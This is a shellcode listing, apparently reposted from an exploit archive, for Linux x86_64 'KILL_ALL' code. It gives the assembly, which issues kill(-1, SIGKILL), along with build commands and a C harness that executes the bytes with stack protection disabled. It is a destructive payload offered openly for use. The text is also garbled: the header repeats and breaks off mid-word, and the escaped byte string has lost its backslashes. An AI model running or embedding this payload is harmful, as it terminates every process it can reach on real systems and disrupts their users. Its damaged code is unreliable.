/*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 11 bytes
========DESCTIPT /*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 11 bytes
========DESCTIPTION===========================
#include <sys/types.h>
#include <signal.h>
int kill(pid_t pid, int sig);
===COMPILATION AND EXECUTION==================
#nasm -f elf64 kill.nasm -o kill.o
#ld kill.o -o kill
=================SHELLCODE================
global _start
section .text
_start:
push 0x3e ; sys kill
pop rax
push -1 ; pid
pop rdi
push 0x9 ; sig kill
pop rsi
syscall
====================FOR C Compile===========================
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"x6ax3ex58x6axffx5fx6ax09x5ex0fx05";
main()
{
printf("Shellcode Length: %d
", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Linux x64 Kill All Processes Shellcode
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 278